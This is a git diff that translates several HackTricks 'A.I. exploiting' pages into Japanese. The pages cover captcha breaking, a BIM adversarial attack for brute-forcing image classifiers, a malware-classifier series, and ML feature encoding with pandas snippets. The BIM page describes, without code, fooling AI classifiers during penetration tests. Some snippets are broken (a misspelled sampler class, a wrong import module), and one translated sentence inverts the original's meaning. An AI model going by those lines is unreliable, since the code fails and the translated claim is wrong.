[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - -In this tutorial **a basic captcha is going to be broken**. -A **NN is going to be trained** using several **images** that represents **letters** and then this NN is going to be used to **automatically identify the letters inside a captcha image**. - -Check the awesome guided tutorial provided by [**BrA.In Smasher**](https://beta.brainsmasher.eu/) in this [**google collab page**](https://colab.research.google.com/drive/1uiQJpqEj5V2_ijoumSd2noaDJuniTlKq?usp=sharing). - - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/bim-bruteforcer.md b/a.i.-exploiting/bra.i.nsmasher-presentation/bim-bruteforcer.md index 2eae9b299..5d1b07a49 100644 --- a/a.i.-exploiting/bra.i.nsmasher-presentation/bim-bruteforcer.md +++ b/a.i.-exploiting/bra.i.nsmasher-presentation/bim-bruteforcer.md @@ -1,52 +1,13 @@ +# BIM攻撃を使用したブルートフォーサーコアスクリプト +今回は、画像分類アプリ(もちろん任意の入力にも適用できる)をブルートフォースするための新しい勾配ベースの攻撃、BIM(Basic Iteration Method)を紹介します。 -
+[**導入チャレンジコラボノートブック**](https://colab.research.google.com/drive/1lDh0oZ3TR-z87WjogdegZCdtsUuDADcR)の説明を少なくとも見ることをお勧めします。 -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +BIMの詳細については、[https://arxiv.org/pdf/1607.02533.pdf](https://arxiv.org/pdf/1607.02533.pdf)を参照してください。 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - -# BRUTEFORCER CORE SCRIPT WITH BIM ATTACK - -This time we introduce a new type of gradient based attack, in order to brute force an image classification app \(can be shaped and used for any input of course\), the BIM, or Basic Iteration Method. - -It’s recommended to see at least the explanation in the [**introduction challenge colab Notebook**](https://colab.research.google.com/drive/1lDh0oZ3TR-z87WjogdegZCdtsUuDADcR) - -To go deeper on the BIM topic:[ https://arxiv.org/pdf/1607.02533.pdf](https://arxiv.org/pdf/1607.02533.pdf) - -As usual we will provide only the A.I. attack core part, it’s up to you to complete the tool and blending it with PT techniques, depending on the situations. +通常通り、A.I.攻撃のコア部分のみを提供します。ツールを完成させ、PT技術と組み合わせて、状況に応じてブレンドするのはあなた次第です。 {% hint style="info" %} -Remember, in those kind of scenarios, in order to mime real-based attack applications, we don’t have the exact model to fool or the image target in which we would like to transform our image. That’s why, in order to overcome this issue, we must blend our core script, with a bruteforcer logic, accordingly to the application responses we want to fool. +このようなシナリオでは、実際の攻撃アプリケーションを模倣するため、欺くべき正確なモデルや画像ターゲットはありません。そのため、欺くために画像を変換したいアプリケーションの応答に応じて、コアスクリプトとブルートフォーサーロジックを組み合わせる必要があります。 {% endhint %} - - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/hybrid-malware-classifier-part-1.md b/a.i.-exploiting/bra.i.nsmasher-presentation/hybrid-malware-classifier-part-1.md index 62f74da52..243e63e1d 100644 --- a/a.i.-exploiting/bra.i.nsmasher-presentation/hybrid-malware-classifier-part-1.md +++ b/a.i.-exploiting/bra.i.nsmasher-presentation/hybrid-malware-classifier-part-1.md @@ -1,41 +1,39 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**する[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-# A.I. HYBRID MALWARE CLASSIFIER +# A.I. ハイブリッドマルウェア分類器 -## INTERMEDIATE PYTHON SKILL, INTERMEDIATE MACHINE LEARNING SKILLS \(Part 1\) +## 中級Pythonスキル、中級機械学習スキル \(パート1\) -In this series of notebook we are going to build an **hybrid malware classifier.** +このノートブックシリーズでは、**ハイブリッドマルウェア分類器**を構築します。 -For the **First part** we will focus on the scripting that involves dynamic analysis. Any steps of this series will come useful in order to detect malwares, and in this piece we will try to classify them based on their behaviour, utilizing the logs produced by running a program. +**第1部**では、動的解析に関連するスクリプトに焦点を当てます。このシリーズの手順は、マルウェアの検出に役立ちます。このパートでは、プログラムの実行によって生成されるログに基づいてマルウェアを分類しようとします。 -In the **Second Part** we will see how to manipulate the logs files in order to add robustness to our classifier and adjust the code to counter the more advanced methods of A.I. Malware Evasion. +**第2部**では、ログファイルを操作して分類器に堅牢性を追加し、A.I.マルウェア回避のより高度な方法に対抗するためのコードを調整する方法を見ていきます。 -In the **Third Part** we will create a Static Malware Classifier. +**第3部**では、静的マルウェア分類器を作成します。 -For the **Fourth Part** For the Fourth Part we will add some tactics to add robustness to our Static classifier and merge the latter with our Dynamic Classifier. +**第4部**では、静的分類器に堅牢性を追加し、後者を動的分類器と統合します。 -**PLEASE NOTE:** This Series strongly relies on building a dataset on your own, even if it’s not mandatory. +**注意:**このシリーズは、データセットの構築に強く依存していますが、必須ではありません。 -There are also many available datasets for Static and/ or Dynamic Malware analysis on several sites for this type of classification, like Ember, VirusShare, Sorel-20M, but i strongly encourage that you build one or your own. +Ember、VirusShare、Sorel-20Mなど、このタイプの分類のための静的および/または動的マルウェア分析用の多くの利用可能なデータセットもありますが、自分自身でデータセットを作成することを強くお勧めします。 -Here’s the link to our [**colab notebook**](https://colab.research.google.com/drive/1nNZLMogXF-iq-_78IvGTd-c89_C82AB8#scrollTo=lUHLMl8Pusrn) enjoy and stay safe :\) +こちらが[**colabノートブック**](https://colab.research.google.com/drive/1nNZLMogXF-iq-_78IvGTd-c89_C82AB8#scrollTo=lUHLMl8Pusrn)へのリンクです。楽しんで安全にお使いください :\) @@ -43,16 +41,14 @@ Here’s the link to our [**colab notebook**](https://colab.research.google.com/ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**する[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/ml-basics/README.md b/a.i.-exploiting/bra.i.nsmasher-presentation/ml-basics/README.md index e4ae0b9f2..eff7f733d 100644 --- a/a.i.-exploiting/bra.i.nsmasher-presentation/ml-basics/README.md +++ b/a.i.-exploiting/bra.i.nsmasher-presentation/ml-basics/README.md @@ -1,18 +1,16 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
@@ -23,16 +21,14 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/ml-basics/feature-engineering.md b/a.i.-exploiting/bra.i.nsmasher-presentation/ml-basics/feature-engineering.md index 67cb48766..a97f306ea 100644 --- a/a.i.-exploiting/bra.i.nsmasher-presentation/ml-basics/feature-engineering.md +++ b/a.i.-exploiting/bra.i.nsmasher-presentation/ml-basics/feature-engineering.md @@ -1,47 +1,40 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
-# Basic types of possible data +# 可能なデータの基本的なタイプ -Data can be **continuous** (**infinity** values) or **categorical** (nominal) where the amount of possible values are **limited**. +データは**連続的**な(**無限**の値)または**カテゴリカル**(名義)であり、可能な値の数は**限られています**。 -## Categorical types +## カテゴリカルタイプ -### Binary - -Just **2 possible values**: 1 or 0. In case in a dataset the values are in string format (e.g. "True" and "False") you assign numbers to those values with: +### 2値 +**2つの可能な値**のみ:1または0。データセットの値が文字列形式(例:「True」と「False」)の場合、これらの値に数値を割り当てます: ```python dataset["column2"] = dataset.column2.map({"T": 1, "F": 0}) ``` +### **序数** -### **Ordinal** - -The **values follows an order**, like in: 1st place, 2nd place... If the categories are strings (like: "starter", "amateur", "professional", "expert") you can map them to numbers as we saw in the binary case. - +値は順序に従います。例えば、1位、2位...のようになります。もしカテゴリが文字列である場合(例: "初心者"、"アマチュア"、"プロフェッショナル"、"エキスパート")、バイナリの場合と同様に数値にマッピングすることができます。 ```python column2_mapping = {'starter':0,'amateur':1,'professional':2,'expert':3} dataset['column2'] = dataset.column2.map(column2_mapping) ``` - -* For **alphabetic columns** you can order them more easily: - +* **アルファベットの列**の場合、それらをより簡単に並べ替えることができます: ```python # First get all the uniq values alphabetically sorted possible_values_sorted = dataset.column2.sort_values().unique().tolist() @@ -49,24 +42,20 @@ possible_values_sorted = dataset.column2.sort_values().unique().tolist() possible_values_mapping = {value:idx for idx,value in enumerate(possible_values_sorted)} dataset['column2'] = dataset.column2.map(possible_values_mapping) ``` +### **循環的** -### **Cyclical** - -Looks **like ordinal value** because there is an order, but it doesn't mean one is bigger than the other. Also the **distance between them depends on the direction** you are counting. Example: The days of the week, Sunday isn't "bigger" than Monday. - -* There are **different ways** to encode cyclical features, ones may work with only just some algorithms. **In general, dummy encode can be used** +順序があるため、**序数値のように見えます**が、一方が他よりも大きいという意味ではありません。また、**それらの間の距離は、数える方向に依存します**。例:曜日、日曜日は月曜日よりも「大きい」わけではありません。 +* 循環的な特徴をエンコードするための**さまざまな方法**がありますが、いくつかのアルゴリズムでは機能する場合もあります。**一般的には、ダミーエンコードが使用できます**。 ```python column2_dummies = pd.get_dummies(dataset.column2, drop_first=True) dataset_joined = pd.concat([dataset[['column2']], column2_dummies], axis=1) ``` +### **日付** -### **Dates** - -Date are **continuous** **variables**. Can be seen as **cyclical** (because they repeat) **or** as **ordinal** variables (because a time is bigger than a previous one). - -* Usually dates are used as **index** +日付は**連続的な**変数です。日付は**周期的**(繰り返されるため)または**順序的**変数として見ることができます(時間は前の時間よりも大きいため)。 +* 通常、日付は**インデックス**として使用されます。 ```python # Transform dates to datetime dataset["column_date"] = pd.to_datetime(dataset.column_date) @@ -94,28 +83,26 @@ dataset['weekday'] = dataset.transaction_date.dt.weekday # get day names dataset['day_name'] = dataset.transaction_date.apply(lambda x: x.day_name()) ``` +### マルチカテゴリ/名義 -### Multi-category/nominal +**関連する順序のない**2つ以上のカテゴリ。各特徴のカテゴリに関する情報を取得するには、`dataset.describe(include='all')`を使用します。 -**More than 2 categories** with no related order. Use `dataset.describe(include='all')` to get information about the categories of each feature. +* **参照文字列**は、**例を識別する列**です(例:人の名前)。これは重複する場合があります(2人が同じ名前を持つ場合があるため)、しかしほとんどはユニークです。このデータは**無用であり、削除する必要があります**。 +* **キーカラム**は、テーブル間のデータを**リンクするために使用されます**。この場合、要素はユニークです。このデータは**無用であり、削除する必要があります**。 -* A **referring string** is a **column that identifies an example** (like a name of a person). This can be duplicated (because 2 people may have the same name) but most will be unique. This data is **useless and should be removed**. -* A **key column** is used to **link data between tables**. In this case the elements are unique. his data is **useless and should be removed**. +マルチカテゴリの列を数値に**エンコードするために**(MLアルゴリズムがそれらを理解するために)、**ダミーエンコーディングが使用されます**(そして**ワンホットエンコーディングではない**のは、**完全な多重共線性を回避しない**ためです)。 -To **encode multi-category columns into numbers** (so the ML algorithm understand them), **dummy encoding is used** (and **not one-hot encoding** because it **doesn't avoid perfect multicollinearity**). +`pd.get_dummies(dataset.column1)`を使用して、**マルチカテゴリの列をワンホットエンコード**できます。これにより、すべてのクラスがバイナリ特徴に変換され、**可能なクラスごとに1つの新しい列**が作成され、1つの列には1つの**真の値が割り当てられ、他の列は偽になります**。 -You can get a **multi-category column one-hot encoded** with `pd.get_dummies(dataset.column1)`. This will transform all the classes in binary features, so this will create **one new column per possible class** and will assign 1 **True value to one column**, and the rest will be false. +`pd.get_dummies(dataset.column1, drop_first=True)`を使用して、**マルチカテゴリの列をダミーエンコード**できます。これにより、すべてのクラスがバイナリ特徴に変換され、**可能なクラスごとに1つの新しい列マイナス1つ**が作成されます。最後の2つの列は、最後のバイナリ列で「1」または「0」として反映されます。これにより、完全な多重共線性が回避され、列間の関係が減少します。 -You can get a **multi-category column dummie encoded** with `pd.get_dummies(dataset.column1, drop_first=True)`. This will transform all the classes in binary features, so this will create **one new column per possible class minus one** as the **last 2 columns will be reflect as "1" or "0" in the last binary column created**. This will avoid perfect multicollinearity, reducing the relations between columns. +# 共線性/多重共線性 -# Collinear/Multicollinearity +共線性は、**2つの特徴が互いに関連している**場合に発生します。多重共線性は、それが2つ以上の場合に発生します。 -Collinear appears when **2 features are related to each other**. Multicollineratity appears when those are more than 2. - -In ML **you want that your features are related with the possible results but you don't want them to be related between them**. That's why the **dummy encoding mix the last two columns** of that and **is better than one-hot encoding** which doesn't do that creating a clear relation between all the new featured from the multi-category column. - -VIF is the **Variance Inflation Factor** which **measures the multicollinearity of the features**. A value **above 5 means that one of the two or more collinear features should be removed**. +MLでは、**特徴が可能な結果と関連していることを望みますが、それらが互いに関連していることは望みません**。そのため、**ダミーエンコーディングは最後の2つの列を混合**し、**ワンホットエンコーディングよりも優れています**。ワンホットエンコーディングは、マルチカテゴリの列から生成されたすべての新しい特徴間に明確な関係を作成しないためです。 +VIFは**分散膨張係数**であり、**特徴の多重共線性を測定**します。値が**5を超える場合、2つ以上の共線性のある特徴のうち1つを削除する必要があります**。 ```python from statsmodels.stats.outliers_influence import variance_inflation_factor from statsmodels.tools.tools import add_constant @@ -125,11 +112,9 @@ onehot_encoded = pd.get_dummies(dataset.column1) X = add_constant(onehot_encoded) # Add previously one-hot encoded data print(pd.Series([variance_inflation_factor(X.values,i) for i in range(X.shape[1])], index=X.columns)) ``` +# カテゴリの不均衡 -# Categorical Imbalance - -This occurs when there is **not the same amount of each category** in the training data. - +これは、トレーニングデータにおいて各カテゴリの数が**同じではない**場合に発生します。 ```python # Get statistic of the features print(dataset.describe(include='all')) @@ -138,13 +123,11 @@ print(dataset.info()) # Get imbalance information of the target column print(dataset.target_column.value_counts()) ``` +不均衡なデータセットでは、常に**多数派クラスまたはクラス**と**少数派クラスまたはクラス**が存在します。 -In an imbalance there is always a **majority class or classes** and a **minority class or classes**. - -There are 2 main ways to fix this problem: - -* **Undersampling**: Removing randomly selected data from the majority class so it has the same number of samples as the minority class. +この問題を解決するためには、主に2つの方法があります: +* **アンダーサンプリング**:多数派クラスからランダムにデータを削除し、少数派クラスと同じサンプル数にします。 ```python from imblearn.under_sampling import RandomUnderSampler rus = RandomUserSampler(random_state=1337) @@ -155,9 +138,7 @@ y = dataset.target_column X_under, y_under = rus.fit_resample(X,y) print(y_under.value_counts()) #Confirm data isn't imbalanced anymore ``` - -* **Oversampling**: Generating more data for the minority class until it has as many samples as the majority class. - +* **オーバーサンプリング**: マイノリティクラスのサンプル数が多数派クラスと同じ数になるまで、データを増やすこと。 ```python from imblearn.under_sampling import RandomOverSampler ros = RandomOverSampler(random_state=1337) @@ -168,17 +149,15 @@ y = dataset.target_column X_over, y_over = ros.fit_resample(X,y) print(y_over.value_counts()) #Confirm data isn't imbalanced anymore ``` - -You can use the argument **`sampling_strategy`** to indicate the **percentage** you want to **undersample or oversample** (**by default it's 1 (100%)** which means to equal the number of minority classes with majority classes) +引数**`sampling_strategy`**を使用して、**アンダーサンプリングまたはオーバーサンプリング**する**割合**を指定できます(**デフォルトでは1(100%)**で、少数クラスの数を多数クラスと同じにすることを意味します)。 {% hint style="info" %} -Undersamplig or Oversampling aren't perfect if you get statistics (with `.describe()`) of the over/under-sampled data and compare them to the original you will see **that they changed.** Therefore oversampling and undersampling are modifying the training data. +アンダーサンプリングまたはオーバーサンプリングは完璧ではありません。オーバー/アンダーサンプリングされたデータの統計(`.describe()`で取得)を元のデータと比較すると、**変化していることがわかります**。したがって、オーバーサンプリングとアンダーサンプリングはトレーニングデータを変更しています。 {% endhint %} -## SMOTE oversampling - -**SMOTE** is usually a **more trustable way to oversample the data**. +## SMOTEオーバーサンプリング +**SMOTE**は通常、データをオーバーサンプリングする**より信頼性の高い方法**です。 ```python from imblearn.over_sampling import SMOTE @@ -189,54 +168,48 @@ dataset_smote = 